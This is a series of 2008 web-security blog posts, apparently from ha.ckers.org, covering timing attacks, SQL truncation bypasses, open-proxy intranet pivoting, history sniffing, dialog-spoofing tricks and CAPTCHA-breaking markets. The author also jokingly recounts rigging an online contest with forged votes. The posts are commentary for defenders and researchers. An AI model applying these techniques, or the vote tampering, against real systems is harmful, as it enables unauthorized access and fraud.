  So let’s take a normal run of the mill timing attack over a somewhat latent connection, or worse yet, somewhat spotty and latent connection. You normally have two paths of latency - to the target host and back. For those of you who don’t know what a timing attack is go read this or the rest of this post won’t make any sense. The target host has to respond within a certain set range of milliseconds or you know that you have found a successful timing attack. This all relies on your connection being fairly latency free as people will argue with you time and time again. We are lacking precision, and that makes the attack less useful.

  Here is where Michael Phelps comes to save the day. I’m no photo finish expert, it looked closer than 1/100th of a second to me. Either way, what if it had been even closer than that? Clocks lack a certain precision. Normally that’s okay, because the smallest people normally want to go down to in their daily life is seconds. Try landing a space shuttle or judging the Olympics with a degree of accuracy of 1 full second. No one’s going to be happy with those results. Although Michael Phelps might not have been 1/100ths of a second ahead of his competitor he might have been closer to 1/1,000,000th’s of a second on the other side of the 1/100th time marker. Clear as mud? No?

  So let’s say Phelps touched the wall at a time marker of .001001 and Cavic touched it at .000999. The time difference is only 2/1,000,000ths different but that’s enough of a precision to make it different instead of a tie. God forbid Cavic touched the wall at the same 1/10,000ths of a second or all hell would break loose at the Water Cube and then it would have been a speedo showdown for sure. Okay, so it might not have really been that close at all, but you see my point. Now, back to webappsec.

  Let’s say you know that there is some sporadic latency between you and the target. And it’s somewhere between 30 milliseconds and 80 milliseconds at the worst, but for your tests to be valid you need to have the least amount of latency as possible since the timing attack itself is only a fraction of a second different. You can actually time your attack to take advantage of the Date: HTTP header. Let’s say take that as an example where I send my packet at 22:51:50 and 69 milliseconds. When I get a return response of Date: Tue, 26 Aug 2008 22:51:50 GMT I know that the packet was received prior to the clock striking 51 seconds and therefore there is no or minimal latency. If I get the response back and it says Tue, 26 Aug 2008 22:51:51 GMT I know the result is invalid because there was too much latency.

  This all hinges on you being able to identify the exact millisecond of precision on the remote computer, which you can do with a large enough sample size. The smallest value is the closest to being accurate. While this doesn’t completely get rid of all the latency issues, it certainly could give you a much higher level of precision in your timing attacks.

• 

  MySQL Truncation Etc…

  Posted: August 18th, 2008, 10:04am CDT by RSnake

  Tags:  Webappsec   [edit]

  Stefan Esser has a really good article about how MySQL and SQL truncate columns which can lead to security holes. He uses a good example of a column that has a width of 16 chars but he submits something with 17 chars. Obviously enforcing length is one way to enforce that, even if it almost never happens. But one other thing came to mind.

  Harkening back to my days of reading Rain Forrest Puppy’s papers, I realized that often times the code does a straight regex or string matching. Eg: if ($username eq “admin”) { fail(); } but if the $username was “admin    ” it clearly will fail the string match since it’s not an exact match, but it will have the same net effect in the database of passing the check and allowing you to access the admin data. Likewise padding in front of the username will have the same effect in some cases - depending on how the SQL query is constructed (if it’s encapsulated). Anyway, good article, go read it!

• 

  HTML 5.0

  Posted: August 16th, 2008, 12:58pm CDT by RSnake

  Tags:  Webappsec   [edit]

  On good authority I was told to take a good hard look at the newly proposed HTML 5.0 spec that’s floating around the WHATWG. Firstly my eyes went to the new video and audio tags which are meant to help users deal with the apparently confusing nature of the fact that we have img tags instead of just using embed for everything. Personally I think that’s just a horrible idea that’s going to break a lot of blacklists out there and potentially open more security holes depending if the scriptable video objects are allowed, but there you have it.

  Anyway, so then my eyes glanced across the new iframe spec and lo and behold I saw a miracle. Someone over at the WHATWG was really paying attention. Firstly, there’s a new parameter called sandbox which is similar in many respects to IE’s proprietary security=”restricted” parameter but with more granular controls. That’s not necessarily a good thing if you don’t like being framed, but it does give websites more control over what happens to their site once they frame a site that turns out to be bad.

  But more importantly there is another new parameter called seamless which will allow a page of the same origin domain to iframe a page without having all the usability issues (double scroll bars, _self targets and so on) of the original iframe model. That’s great news for websites that want to frame and control a page on their own domain (a la content restrictions) without all the crazy usability issues with iframes. There’s some other security concerns with allowing content to be accessible on your site - there needs to be some tag to disallow rendering unless it’s embedded within an iframe to prevent someone from calling the malicious child frame directly. However, this is a big step forward in the right direction.

• 

  MSN IP Search

  Posted: August 3rd, 2008, 11:43am CDT by RSnake

  Tags:  Webappsec   [edit]

  I’ve been meaning to write something about this for a while now, and a number of people have known and used this for a while too, but one of the most helpful tools out there for identifying subdomains of any given target is MSN IP search. I think Fierce is way better for finding subdomains if they aren’t on the same IP, but MSN IP search is way better at finding subdomains on the same IP.

  Why is that important? Well, it turns out that a lot of companies use shared hosting, and as we all know, unless they have taken extreme steps to protect their clients, the hosting environments are basically saying that any compromise of any client means complete compromise of any of the other clients on the same machine. Great. So I created a small bookmarket that interfaces with MSN IP search. If you use Firefox, just drag it to your bookmarks and just go to a webpage of choice (other than ha.ckers.org ) and click the bookmarklet. It sends the domain to ha.ckers.org which performs an IP lookup and forwards the browser back to MSN with the IP for that domain. It’s that simple. You’d be amazed how many companies use shared hosting.

• 

  Firefox Security Model Growth

  Posted: July 29th, 2008, 6:42pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Okay, I can bet I’m going to get a lot of flack for this post, so before I start, this is only my opinion and is not at all based on actual numbers. The only reason I’m putting a graph here is because I think it’s easier to visually explain. No numbers. Got it? Just opinion. Don’t get all excited here. Okay. Calm yet? Okay, now don’t start reading this post unless you intend to read the whole thing. Ready? Now you may continue reading the post.

  The last post I made was describing just a small smattering of some of my personal Firefox woes around the add-ons that I use to personally secure myself from attacks that either I have helped create, or have seen in the wild. Now, truth be told, I use Firefox every day, due to the add-ons that it supports and the ease of testing webapps. And it’s with that that I’m disheartened by my sense of helplessness around updates.

  So here’s what I feel is happening over time for security people (not for the regular every day casual web surfer, but indeed, hardcore security folks, like most of the people who read this site). Over time there are upgrades. Those upgrades fix a number holes, and introduce a few others. They also break the add-ons. Those add-ons help fix the broken browser security model. Therefore, for the likes of me and the vulns I actually am affected by, my security is reduced with each new major revision of the browser, making it look something like this:

  

  Sure, the overall security is trending up with time, but there are major gaps in my perceived security while developers catch up to the new codebase. While the numbers and timelines may be way off, the concept (for me at least) is right. I don’t personally see any immediate major benefit from the browser changes - only negative. With time, sure, things get better, but I happen to be in a particularly bad security slump at the moment right there on the right hand side of the graph. The exploit code that I may have been at risk of, for the most part, is neutered by the add-ons, until they stop working. So which is it? Am I trusting the browser to evolve faster than the add-ons or vice versa?

  Firefox’s model has always been, “Feel free to contribute, it’s open source!” While this is great in theory, a) My programming skills get me by and not much more - you don’t want my code in your browser holding the Internet together, trust me b) I don’t have access to all the security bugs - most of the worst of which are hidden from view on bugzilla for only a very small select few people to view and c) there are very few people who have the ability to commit code let alone to fix other people’s add-ons.

  It’s tempting to get overwhelmed by the helplessness of it all, but then I just remember that none of these plugins fix things like CSRF which helps me ignore that particular issue. So then I just go home and cry myself to sleep. Okay, now rant away, but if you mis-quote me or fail to read everything before commenting, so help me, I’ll make fun of you senselessly.

• 

  History Hack Male vs. Female and Beyond

  Posted: July 28th, 2008, 2:00pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Strangely enough there’s been a ton of things happening in the CSS history hacking world lately, and I thought I should recap some of the more important events of late. Firstly, Firefox 3.0 came out, and wow - it feels an awful lot like when Firefox 2.0 came out. A good chunk of my favorite plugins no longer work - Switch Proxy, Auto Copy, LocalRodeo (since ironically it doesn’t install over SSL - and btw, that was the only public tool protecting anyone from JS based intranet hacking that I am aware of) and, of course, Safe History. Why is that a problem? Well, if you were relying on it to protect your history, it’s no longer an option.

  Now, if that’s not bad enough, Jeremiah Grossman pointed me to a page that attempts to calculate your gender based on a portion of your history. An interesting take on the usefulness of the old CSS history hack. How accurate it is is questionable, but realistically this is pretty good for a first generation tool that is virtually un-tuned.

  Last but not least, I did a little looking into the ol’ about:config options in Firefox and landed on a few options that were noteworthy. Not the least of which is browser.visitedcolor which can be re-set to anything you’d like. That means if you are simply looking for the color of a typical viewed link, you may be deceived if this color has been modified. That is - unless, the attacker knows that the victim has visited something before (a previous page perhaps), and the attacker’s code verifies that against something they couldn’t have visited (a domain that isn’t up, for instance) to isolate what the real viewed color is. So that option, if you were considering it, wouldn’t work for a more advanced version of the code that checked for this kind of thing.

  It’s a sad day for the old CSS history hacking security though. And please, please don’t tell me that you’ll just turn off JavaScript to protect yourself!

• 

  Dialogs Of Doom

  Posted: July 10th, 2008, 4:39pm CDT by RSnake

  Tags:  Webappsec   [edit]

  So maluc and I went down the rabbit hole (again) looking for ways to screen scrape across domains using Java applets. You’d put a malicious Java applet on a page and an iframe to another domain that had sensitive information on it - then you’d use the Java applet to take a pixel by pixel screen shot and then log it for later analysis. Of course you can’t do it with Java, and for good reason, but you may be able to do it with Java Web Start. Of course there’s a security dialog but it’s pretty weakly worded and doesn’t look like it’s actually a security warning, so then I went down the path of looking at ways to force people to click on dialogs. The most obvious way is to float a whole bunch of JavaScript alerts in the same place right above where the “Yes” or “Always” buttons live hoping to trick them into clicking on the Java Web Start dialog.

  But it got me thinking. People are fairly used to having to click on popups rather quickly to get rid of them and it it’s also fairly easy to change out the popups after a certain amount of clicks or if the rate of clicks reaches a certain threshold of clicks per minute. It’s also possible that those popups aren’t actually popups but rather DHTML that happen to look like popups and hover perfectly above where the more nefarious popup will come in once you are satisfied that the user is clicking quickly enough that they will inadvertently click on the Java Web Start dialog (or whatever type of dialog you are interested in getting them to click on).

  Here’s what I came away with after this research: 1) users get frustrated easily, 2) they can’t tell the difference between good dialogs and bad dialogues when they are clicking quickly, 3) they will click on things if they think that by clicking on them they will get what they want (we already knew that from the porn movie codec malware guys) 4) because things like Java Web Start aren’t part of the chrome like the Information Bar or other chrome based notification, it’s easier to spoof, and 5) humans can’t tell the Z access of things in 2D objects so they can’t identify what is and isn’t a popup unless they have other issues during usability. It feels like there’s something exploitable here…

• 

  How I Lost a Contest Involving Chihuahuas

  Posted: July 9th, 2008, 11:37am CDT by RSnake

  Tags:  Webappsec   [edit]

  So my lovely gfnd’s co-worker enrolled her pet Chihuahua into a contest to rate the dog against others of the same breed in the local area. Vaguely amused, I took a look at the web application and sure enough, it pretty much sucked. The developers had used a client side code in Flash to make it so that you couldn’t submit twice, but in re-loading the app you could (and that’s how the newbs in her office were cheating). I, however, looked at what data it was sending and sure enough I could send votes by bypassing the client side app entirely. I took the cheating to a whole new level.

  So I gave the dog 100 votes just for good measure. My gfnd and her office mates were amused and asked me to up it to 1000. Sure, no sweat. The next closest Chihuahua was in the 50-60 range, which I found by writing a quick scanner to dump all the results for all the other dogs. So I figured we pretty much had this whole thing sewn up. With the 700 votes all of her co-workers had managed to generate, plus my 1000, we were an order of magnitude higher than the next competitor. I could see it already - my gfnd’s co-worker’s Chihuahua would be named Chihuahua supreme, there would be dancing in the streets, songs would be written…. The whole nine yards.

  Little did I know how fierce this whole Chihuahua community is, and right before midnight on the night that the contest closed some other hacker did the exact same thing - but took the number one spot above my pick. Alas, had I checked the scores leading up to the closing moments of the contest my Chihuahua could have easily won that contest. I guess if I cared more about Chihuahua contests, I might have put more thought into it. But in the end it’s just another amusing story. Props go to whomever managed to out haXor my Chihuahua contest haXoring!

  I think we all can see how similar high profile and more important contests (or elections) could be tampered with. Maybe Chihuahua contests don’t rank high on your visibility scale, nor mine typically, but despite the silly consequences of tampering with Chihuahua contests, it’s a small window into a much more dangerous issue. I hope everyone had a good 4th and Canada day!

• 

  Yahoo SEM Logic Flaw

  Posted: June 16th, 2008, 10:40am CDT by RSnake

  Tags:  Webappsec   [edit]

  In the wake of a few different speeches by Jeremiah Grossman and Billy Hoffman on logic flaws, I thought this was pretty appropriate. I got an anonymous message today explaining how an interesting logic flaw popped up in the search engine marketing portion of Yahoo’s website. According to them, the site allows you to send them $30 for future spending with their advertising program, and in return you get $50 free SEM advertising as a promotional offer. The problem lies in the logic.

  When a user signs up, the logic should state something like “if money is deposited then give a credit, if not then fail”. Unfortunately, according to them it doesn’t work that way. Regardless if your deposit is valid or not or if it fails or not, it will still credit your account $50. Whoops. I haven’t tested this or tried it, but according to them at least a few people have already been able to use this trick, and of course that’s then tied to spamming or traffic arbitraging.

• 

  Allbots.info Imagetotext.com

  Posted: June 13th, 2008, 11:45am CDT by RSnake

  Tags:  Webappsec   [edit]

  If the title of this post sounds awfully spammy, that’s because it is. Someone sent me a link to allbots.info and imagetotext.com today. Both of which are tied together into one system that allows someone to purchase a robot and the human CAPTCHA breaking necessary to create accounts in some of the largest social networking sites out there.

  These include MySpace, Hi5, Facebook, Youtube, Gmail, and on and on… This reminds me a lot of XRumer which is also designed for the same purpose, but more for message boards and the like. Making hundreds of accounts, for spamming is getting more commonplace and accessible. Just plunk down your stolen PayPal or Google Checkout IDs and you’re off to the races! CAPTCHAs aren’t working folks - we’re just creating another micro-industry.

• 

  Google Health

  Posted: May 21st, 2008, 2:23pm CDT by RSnake

  Tags:  Webappsec   [edit]

  It must be a Wednesday because it’s feeling a lot like “pick on Google” day! Let’s see here, what’s in the news today? Oh! Google Health - from the same company that brought you countless vulnerabilities both fixed and unfixed, with a policy of not alerting people to security issues comes a new service that asks you to input all your most sensitive personal health records! “But it’s medical records,” I can hear people saying, “surely they’ll be as secure as any HIPAA compliant entity.” Except, legally not so much… (from their terms of service):

  Google is not a “covered entity” under the Health Insurance Portability and Accountability Act of 1996 and the regulations promulgated thereunder (”HIPAA”). As a result, HIPAA does not apply to the transmission of health information by Google to any third party.

  I think it’s a shame Google found a legal get out of jail free card to absolve themselves from securing consumer medical records in the same way everyone else who handles this kind of data does. At least Google gives you advice on how to protect your personal data. By uhm… protecting it!

  You are responsible for the security of your passwords and for any use of your account. You must immediately notify Google of any unauthorized use of your password or account by following the instructions at this link: http://www.google.com/support/accounts/bin/answer.py?answer=48601

  Incidentally my favorite line from their form is:

  Google Accounts: I think someone else is using my Google Account. Tip: In most cases, this problem can be resolved by resetting your password. Please do so before completing our form.

  Resetting your password will recover your stolen personal data and make you and your family whole again, I guess. As a side note, a year has come and gone and silently the Google security blog has had its first birthday. Has anyone noticed? I recall a year ago I said to a number of people I’d be surprised if anything interesting came out of it, and here we are a year later, with about 13 posts (one a month) and pretty much nothing of note about any actual issues/flaws has been discussed. There were two brief non-technical posts about “Lemon”, a year ago, to be fair. Maybe someone learned something from it, but it sure wasn’t me or any researchers I’ve talked to. Happy belated birthday, Google Security! Another year has come and gone, and the redirects still aren’t closed - how about a post about that?

  As another noted security expert pointed out to me two days ago - Google represents the single greatest travesty of our generation. You gather the largest collection of the most brilliant minds you can possibly find, for the sole purpose of displaying ads next to search results. Remember, this is the same company who just a few short months ago was ranked the single worst in privacy of all the top Internet sites. Great - just who I want to be the keeper of my apparently non-HIPAA regulated medical data.

  Okay, enough picking on poor Google for today.

• 

  HTTP Proxies Bypass Firewalls

  Posted: May 20th, 2008, 9:38am CDT by RSnake

  Tags:  Webappsec   [edit]

  This may seem painfully obvious to some people, but I looked around and couldn’t find a reference to it, so I apologize ahead of time for anyone who already knew this. When we normally think of how attackers use proxies they are almost always just trying to hide their IP addresses. id and I have written papers on bypassing content restricting firewalls using proxies, etc… Those are all fine topics, but that’s not what this post is about. I was pouring through my logs a few weeks ago and came across a number of people attempting to see if I was running an open proxy. Obviously I’m not, and the reason someone would likely check is that it is a robot looking at large swaths of the web for open proxies.

  I ran into an open proxy after that and started poking around with it. The obvious way to look for it was to type in “GET http://www.yahoo.com/ HTTP/1.0″ and see if it shows you Yahoo’s homepage. But then it occurred to me that this could be used for Intranet hacking as well. The open proxy doesn’t have to point out to the web. It can, in fact, be pointed inward, to internal addresses. Here’s a diagram of what I’m talking about:

  
  Click to enlarge

  The first scenario is what most bad guys use proxies for. They connect back out to the Internet, to hide their real IP addresses. The second scenario, however, would allow them to use that same proxy server to hack other machines on the same network, including the firewall itself. The funny part is that there are tons of machines out on the Internet who have already been compromised, and the bad guys have intentionally placed proxies on these machines for other nefarious purposes. But it can also be used for internal reconnaissance, or worse. And yes, I have found this in the wild. By quickly enumerating the most likely places within RFC1918, it’s fairly easy to spot where the majority of devices are in most networks (note that this kind of internal scanning will become more difficult with IPv6).

  If there are internal machines with critical vulnerabilities on them, the proxy can be used to connect back into that network, to exploit those vulnerabilities which may give a bigger foothold or uncover other sensitive information. If you haven’t scanned your own network for open proxies, you probably should. This is yet another reason to limit what your web servers have access to within your own networks.

• 

  Phishing Site in Email

  Posted: May 15th, 2008, 11:15am CDT by RSnake

  Tags:  Webappsec   [edit]

  I was looking at a phishing email last night for OANDA FXTrade. At first glance I could see something a little different about it. Instead of linking directly to the phishing site in the email, it contained an attachment (an html file) that you are supposed to double click on. The page is a flat HTML page, with nothing of substance on it, other than a form that tries to get you to submit your data to http://0x47f865c1/webview/images/fxtrade.php (which automatically redirects you to the correct website, if you go there directly).

  That’s a fairly clever implementation of a phishing email, because the phishing page is actually on your local computer, not on the web. So it’s harder for anti-phishing researchers to find anything of interest on the remote computer, or even verify that it is a phishing site. But I think I must be getting a little jaded because as soon as I saw the html file I was actually disappointed. While clever since the HTML file contains the phishing site, why on earth wouldn’t they put malicious code in it? Think about it, if someone is dumb enough to open a HTML file on their local computer, why wouldn’t you use it to install malware or something equally bad? To me it just seemed like a no-brainer. I suspect these malicious techniques will eventually converge, but for now, I don’t think the phishers understood exactly what power they had.

• 

  Spammers Hurt The Blind

  Posted: May 4th, 2008, 8:59pm CDT by RSnake

  Tags:  Webappsec   [edit]

  There’s an interesting link talking about the lawsuit that Rite Aid just settled regarding their accessibility issues. In part it was in regards to their in-store issues, but it was also about their online accessibility, specifically around CAPTCHAs. So I spent a little time doing some more research into other issues around CAPTCHAs and the blind and in fact there are even concerns around the audio CAPTCHAs for the deaf-blind users.

  One thing that was interesting is that many of the sites that have been targeted for law suits and angst have been either online retailers or websites that are heavy text based websites (Typepad, Livejournal, etc…). I guess that makes perfect sense, I just hadn’t thought about it before. I would expect there to be a lot more of this in the future, so if you use CAPTCHAs I’d consider at least getting an audio version, as I’ve discussed countless times. An interesting thought though: spammers have made it harder on the blind. Yet another reason to hate spammers, I guess.

• 

  Older Browsers Blocked By PayPal

  Posted: May 1st, 2008, 5:52pm CDT by RSnake

  Tags:  Webappsec   [edit]

  This news is coming in a little late but I thought it was worth talking about. PayPal apparently is going to start blocking older browsers that it deems as a security risk to it’s own users. Pretty funny in a way - consumers can’t protect themselves so PayPal is having to tell them to upgrade to something that doesn’t come from the Paleozoic era.

  There’s an upside to doing this and a few downsides. The obvious upside is that people will be using more current and theoretically more secure browsers that support EV certs and anti-phishing technology. The downsides are that some people seriously cannot afford to buy new equipment, or have chosen older browsers that are less likely to be exploited because no one is writing exploits for them any more. And the worst downside to the browser eco-sphere is an even more homogeneous browser base. I’m not sure if I’m completely in the “this is a good thing for security camp” but it’ll be interesting to see how it plays out over time.

• 

  eFashion Security Overview

  Posted: May 1st, 2008, 5:06pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I was pointed to an interview with Ed Foy of eFashion. It’s a pretty interesting interview about how companies are reeling in a post TJX world. The good news is obviously people like Mr. Foy are paying attention to the problem and trying to do their best to fix it. The issue is everything mentioned into the article has nothing to do with the problems TJX faced. He mentions network access control and Hacker Safe. Hrmm… my personal feelings about the validity of Hacker Safe being anything other than a marketing gimmick aside, security this does not make.

  TJX was compromised through WEP, poor network access controls and poor infrastructure, not web compromises. Not that you should ignore the web, definitely not, but throwing a Hacker Safe logo on your site doesn’t do anything for your security other than make you a bit of a joke. Sure, explaining to your customers that you care is important, network security is important, and sure, even a logo on your site explaining that is okay. But it’s no substitute for real security, as TJX found out. I have absolutely nothing against eFashion but just as TJX themselves found out just because you embrace security doesn’t mean you’re good at it.

• 

  What Was Your Epiphany?

  Posted: April 25th, 2008, 8:22am CDT by RSnake

  Tags:  Webappsec   [edit]

  A few weeks ago at RSACon I sat down with Amit Klein and asked him one question that I’ve wanted to ask for a long time. I wanted to know if there was one defining moment in his past that suddenly opened his eyes. More specifically, some event that made him realize that he had stumbled upon knowledge that would lead him down a path that only a very select few would ever travel. I wanted to know that one cathartic event that made him realize the web was extremely vulnerable. I wanted to know this because I wanted to know if there was a common thread between him and some of the other experts in the field.

  Amit took his sweet time thinking of a good answer, of course telling me all the while that there was no single defining moment and that the question was harder than it sounds. Yes, yes, Amit, but out with it! He finally began to tell me the first time he messed with a binary. He went in with an editor and changed one word. Expecting it not to work, he ran it, and sure enough it did. To him that was totally amazing that it would work, and suddenly, he realized that there were probably a lot of exploitable things out there similar to that. He also told another story about how he had read the HTTP spec and realized you could put a newline in front of the first line of the HTTP request, which in the future would eventually lead to exploitation.

  So then I asked the same question of Dinis Cruz:

  I can probably point to three key moments:

  - the first was when I was a CTO of an university and one of campus’ IT guys showed me how he was able to access (over the internet) another campus internal network (via a remote shell delivered via one of the earlier IIS exploits)
  - the 2nd was when I read back to back the first Hacking Exposed book and really got an understanding of network and application exploitation
  - the 3rd was when I realized that my programming background (ZX Spectrum generation, Assembly programming on Amiga/x86, etc..) really allowed me to ‘understand’ Application security (vs network security) AND to write exploits

  Jeremiah Grossman also gave his story:

  For myself it started almost immediately when I began developing web applications many years ago. I read all the books, walk through the examples, and built websites. Being the natural prankster that I am I immediately saw how others could potentially screw around with the way my application worked, post offense stuff, and just generally cause a poor user experience. At the time I didn’t know to even to call it "security", it was just something that could be done to a webapp. The AHA moment came when I got the feeling that my code was no better or worse than anyone elses.

  As I just passed my 800 blog post mark, I realized I had never talked about my moment either, and what better way to talk about it than to talk about other people’s moments as well. Mine was a very vivid point in time in my memory. I had read the HTTP spec and knew the basic principles of how it worked, but one day I followed some guide and telnetted to port 80 for the first time and started typing in commands. The first time I saw a flood of headers fly by my screen was like getting hit in the face with a brick. I just couldn’t deny how powerful that knowledge was and how broken everything must be if it was that simple. I know most people look at HTTP and kinda shrug their shoulders, but for me it was an awakening that made me realize that there is almost no end to the potential and danger that it allows.

  I don’t know that I can point to any one particular thread between these experts, but I do know that the net effect was the same. The realization that everything is vulnerable is a pretty profound concept. So? What’s your story?

Ruby on Rails Security Project

• 

  [WebAppSec] The idea of negative CAPTCHAs

  Posted: April 4th, 2008, 4:31am CDT by Heiko

  Tags:  Webappsec   [edit]

  Spam and automatic submitters really are a problem. One idea to defend this are CAPTCHAs. CAPTCHAs are noisy images and the user (usually) has to recognize the text in the image and enter it in a field. Although some weak algorithms are already broken, this is a good way to keep junk content away. But as automatic recognition gets better, the CAPTCHAs get more sophisticated, and thus harder to read for humans. CAPTCHAs are annoying.   Negative CAPTCHAs The idea of negative CAPTCHAs is not to ask a user to proof that he's human, but reveal that a spam/login robot is a robot (bot). Most bots are really dumb, they crawl the web and enter their junk in every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. Ned Batchelder has several ideas how to do that in his original post.   On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, as well.   Next step  This is the basic idea of negative CAPTCHAs, you can make them more sophisticated with Ned's help. Bookmark to
  

ha.ckers.org web application security lab

• 

  Join a Religion Via CSRF

  Posted: April 3rd, 2008, 3:06pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Okay, I waited long enough to tell this story, but it’s funny enough that it’s worth it. At SOURCE Boston, Jeremiah, Mark Kranack and I were sitting around talking and apparently at one point long ago he had started a religion. The religion was simple, all you had to do was accept Mark as your god and that’s that. No fees, no prayers, no nothing, just accept him as your god. You don’t even have to do it on purpose, one guy joined by accident as a matter of fact by inadvertantly saying that Mark was his god as he described it. There’s no way to get kicked out of his religion and nothing really special about it in any way beyond the religious leader, of course. You can still find a reference to it on the internet archive.

  Then we got to talking and laughing and ultimately came up with a CSRF joke of all time. We could get tens of thousands, maybe hundreds of thousands, or even millions of people to join through CSRF via images to forms on MySpace, or what have you. You see, there is a bit of a bug in the acceptance program of Kraynackism. You don’t have to necessarily “say” that Mark is your God it turns out, you just have to somehow indicate it to him, either intentionally or inadvertantly as we saw with his friend. We could turn Kraynackism into the fastest growing religion the world has ever seen! You could be a member right now and you wouldn’t even know it!

  It’s funny but it’s less funny when you talk about getting people arrested in China as we talked about a long time ago or of course going to jail for child porn, etc… Funny and scary all at the same time.

• 

  A Funny Look Into Our Future

  Posted: March 28th, 2008, 5:55pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I was having our weekly cigar meeting with the local security guys when we stumbled across a pretty funny thought. There’s a pretty good paper put out by Cybersource about trends for 2008 in which it had a graph showing that as a percentage of online transactions fraud was dropping. Whoah! That’s not what I expected to hear. But then in closer examination that’s a red herring, because total fraud is still increasing at the same rate it always has. Not so good after-all, it just means consumer spending is out pacing the bad guys. That makes it worth being in the business of online retailing, but spending will eventually taper off with population growth.

  The funny part of the story is what if all the consumers finally hit a tipping point where they just decided to go home and stop using the Internet completely? What if we just had bad guys trying to phish bad guys, and spammers just trying to spam other spammers? What would the Internet be when every page was a scam and every person on it was desperate for money because all the people who they wanted to scam went outside to go play in the grass? A funny thought! Hey, we were having cigars, sue us for getting a little off topic!

• 

  Mozilla Fixes Referrer Spoofing Issue

  Posted: March 28th, 2008, 10:01am CDT by RSnake

  Tags:  Webappsec   [edit]

  Good for Mozilla - they recently fixed a very odd referrer spoofing issue that I was talking about back in January. It wasn’t exactly ten days, but who’s counting. But referring URLs are a tricky beast. I see them being relied on an awful lot. I also see a lot of misbehaving robots in my logs that seem to think they understand what a referring URL is, but yet… they don’t.

  One good example are robots that forget how Google works: http://google.com instead of http://www.google.com/ (notice the “www.” and the trailing slash are missing.) Also spammers, please note that as of today and every other day I have checked I have never once been a link on the front page of Google’s website and if it did happen, there will be a great earthquake; and the sun will become black as sackcloth of hair, and the moon will become as blood, so we best not even talk about such things. There’s tons of this garbage in my logs all day long. It’s almost surprising to me that the bad guys would bother. If anything it makes it stand out like a sore thumb. Yet, I do see companies making security decisions based on referring URLs. Kinda scary given how many reasons referring URLs might be wrong or non existent.

  As a side note, when I attempted to use the :username@ trick for phishing it did not silently drop the username, it actually redirected me to the search engine, which is actually pretty appropriate behavior given that it’s malformed. I’m glad someone was able to reproduce it because I had a hard time proving to myself that it was even something widespread enough to talk about. Anyway, Kudos to Mozilla for the patch!

• 

  Yahoo Mail Gives Users Trojan Horses

  Posted: March 18th, 2008, 9:33am CDT by RSnake

  Tags:  Webappsec   [edit]

  I got this picture from a reader of the site. Apparently the reader was simply viewing Yahoo mail and poof, RogueIframe trojan. We are starting to see a lot more of this kind of stuff, but it’s really disappointing that third party ads are being displayed on otherwise sensitive apps (or at least I think most people feel they are sensitive). Here’s the picture:

  
  Click to enlarge

  We’ve seen this exact hack hit before, against Facebook. But I think this kind of thing may be the beginning of a epidemic. As long as you can end up with your advertisements on any site that is even vaguely sensitive, you can start either taking over the site, or delivering malware. Whatever best suits the attacker’s needs. I think this all goes back Tom Stripling’s speech at OWASP where he in painstaking detail explained why you cannot trust third party JavaScript on your site, and yes, that definitely includes advertisements. Anyway, I hope this gets cleaned up quickly.

Ruby on Rails Security Project

• 

  [WebAppSec] Sign-in seals against phishing

  Posted: March 13th, 2008, 12:48pm CDT by Heiko

  Tags:  Webappsec   [edit]

  There's a new sign-in seal on the Yahoo! login page, which is intended to make phishing attacks more unlikely.

  A sign-in seal is a secret message or photo that Yahoo! will display on this computer only. Look for it every time you sign in to make sure you're on a genuine Yahoo! site. If the message, photo, or colors are different, you may have landed on a phishing site.

  There might be other techniques to fight phishing, but it is certainly smart to raise awareness. And the technology behind it is clever too. Of course a normal browser cookie would go away from time to time when you (or the browser) clear your cookie cache. So Yahoo! uses so-called Flash SharedObjects which are sort of Flash cookies. They're available cross-browser, and they won't go away normally, because not many people are aware of how to clear these objects.

  Bookmark to
  

ha.ckers.org web application security lab

• 

  Human CAPTCHA Breaking

  Posted: March 11th, 2008, 1:16pm CDT by RSnake

  Tags:  Webappsec   [edit]

  After almost a year, I’ve decided to re-visit an old post I wrote regarding solving CAPTCHAs for cash. Specifically, people that want to use Google or Yahoo to spam, by automatically signing up for thousands of email accounts which requires humans to solve CAPTCHAs for them. According to MessageLabs, webmail based spam represents approximately 4.2% of all spam on the Internet - pretty significant.

  There have been a number of articles on the Internet about automatic solutions to CAPTCHAs, but honestly, I find those stories somewhat dubious at best. Firstly, I don’t believe the solution rate is all that high as some people are claiming (it’s possible, but I don’t believe it’s happened for Gmail or Yahoo mail at the moment - if someone has actual proof I’d love to see it), secondly it’s super easy to change an algorithm to make it non-solvable again - keeping the automatic solutions at bay long enough to build another algorithm and so on. Lastly, there are very few people with the sophistication and know how to develop and use these tools as a percentage of the people who spam.

  However, none of this issues deter a human CAPTCHA solver. If you remember my last article on this, we were seeing the economics drop significantly to where this is suddenly worthwhile, and if you read the comments of that post even more of these CAPTCHA breaking crews are popping up all over the world. Why wouldn’t they? Someone is willing to pay for it, so why wouldn’t you, if your family needed food? Sure the money may or may not belong to the spammer, but legit or not, the money is still real enough.

  That leads me to something I found on the Internet while I was searching for more information on the economics of it. During my searching, I happened across some job offers for CAPTCHA breakers (also known as data entry). The advertisement was pretty intriguing:

  
  Click to enlarge

  The way the job offer is written is like it’s a stay at home sales person, or some other sort of semi-professional position. Words per minute, 12 hour shifts, a PayPal account along with an internet connection appear to be the only pre-requisites. I thought it was fascinating. Also, the economics appear to have dropped significantly from the last article I wrote a year ago. Now people are being paid $1/1000 CAPTCHAs solved, rather than five to nine times that, which is pushing this market into different directions due to increased competition. Perhaps there are other additional benefits for using a more expensive Romanian service verses the cheap version the Philippines are offering.

  Unfortunately, I haven’t seen the operations personally, so I have to speculate that it’s less about the service and more about the cost of operations in the various countries. If anyone is willing to show me their operation I’d love to see it. In the mean time I think we should think about what exactly CAPTCHAs are offering us, and how we are sponsoring micro-economies in countries based on fraudulent human form filling. Is that really the goal? Is it actually the deterrent we intended? Perhaps we should be looking at other/better options.

• 

  Phishme.com Internal Communication

  Posted: March 6th, 2008, 9:30am CST by RSnake

  Tags:  Webappsec   [edit]

